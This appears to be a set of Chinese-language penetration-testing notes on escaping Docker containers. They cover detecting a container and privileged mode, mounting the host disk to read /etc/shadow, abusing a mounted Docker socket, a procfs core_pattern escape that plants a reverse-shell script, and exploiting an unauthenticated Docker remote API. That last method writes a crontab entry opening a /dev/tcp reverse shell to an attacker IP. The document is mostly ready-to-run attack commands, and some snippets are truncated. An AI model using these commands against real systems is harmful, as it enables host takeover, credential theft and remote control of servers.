云原生-docker
云原生-docker
拿到权限:判断是否为容器
https://blog.csdn.net/qq_23936389/article/details/131486643
三种安全容器逃逸:
- 特权模式启动导致(不安全启动 适用于 java jsp 高权限无需提权 还要提权才能逃
逸) - 危险挂载启动导致(危险启动 适用于 java jsp 高权限无需提权 还要提权才能逃逸)
-docker 自身 & 系统漏洞(软件漏洞和系统漏洞 都可用)
https://wiki.teamssix.com/cloudnative/
容器逃逸 - 特权模式
https://wiki.teamssix.com/CloudNative/Docker/docker-privileged-escape.html
启动 docker 容器:
1 | docker run --rm --privileged=true -it alpine //启用--privileged=true,container内的root拥有真正的root权限,可能让攻击者利用此进行容器逃逸 |
判断是否为容器环境:
1 | cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker" |
如果返回 Is Docker,说明当前是 Docker 容器环境,反之亦然。
判断特权模式:
1 | cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode" |
在容器内部执行下面的命令,从而判断容器是不是特权模式,如果是以特权模式启动的话,CapEff 对应的掩码值应该为 0000003fffffffff 或者是 0000001fffffffff
方法一:
查看挂载磁盘设备:
1 | fdisk -l |
在容器内部执行以下命令,将宿主机文件挂载到 /test 目录下:
1 | mkdir /test && mount /dev/sda1 /test |
尝试访问宿主机 shadow 文件,可以看到正常访问
1 | cat /test/etc/shadow |
方法二
1 | mount /dev/sda1 /mnt |
通过新添加的用户登录
容器逃逸 - 挂载 逃逸
https://wiki.teamssix.com/CloudNative/Docker/docker-procfs-escape.html
启动容器:
1 | docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu //procfs |
挂载 Docker Socket 逃逸 :
执行以下命令,如果返回 Docker Socket is mounted. 说明当前挂载了 Docker Socket
1 | ls /var/run/ | grep -qi docker.sock && echo "Docker Socket is mounted." || echo "Docker Socket is not mounted." |
在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部
1 | docker run -it -v /:/host ubuntu /bin/bash |
在新的容器内执行 chroot,将根目录切换到挂载到宿主机的根目录
1 | chroot /host |
挂载 procfs 逃逸 :
执行以下命令,如果返回 Procfs is mounted. 说明当前挂载了 procfs
1 | find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs is mounted." || echo "Procfs is not mounted." |
如果找到两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs
1 | find / -name core_pattern |
找到当前容器在宿主机下的绝对路径
1 | cat /proc/mounts | xargs -d ',' -n 1 | grep workdir |
安装 vim 和 gcc
1 | apt-get update -y && apt-get install vim gcc -y |
创建一个反弹 Shell 的 py 脚本
1 | !/usr/bin/python3 |
给 Shell 赋予执行权限
1 | chmod 777 .t.py |
写入反弹 shell 到目标的 proc 目录下
1 | echo -e "|/var/lib/docker/overlay2/5717cb9154218ec49579ae338cd1c236694d6a377d61fd6d17e11e49d1b1baad/merged/tmp/.t.py \rcore " > /host/proc/sys/kernel/core_pattern |
在攻击主机上开启一个监听,然后在容器里运行一个可以崩溃的程序
1 | vim t.c |
Docker 远程 API 未授权访问逃逸
docker remote api 可以执行 docker 命令,docker 守护进程监听在 0.0.0.0,可直接调用 API 来操作 docker
将 docker 守护进程监听在 0.0.0.0
1 | dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375 |
检测:
1 | IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && wget http://$IP:2375 |
如果返回 404 说明存在
列出容器信息
1 | curl http://<target>:2375/containers/json |
查看容器
1 | docker -H tcp://<target>:2375 ps -a |
新运行一个容器,挂载点设置为服务器的根目录挂载至 /mnt 目录下。
1 | docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash |
在容器内执行命令,将反弹 shell 的脚本写入到 /var/spool/cron/root
1 | echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root |
本地监听端口,获取对方宿主机 shell。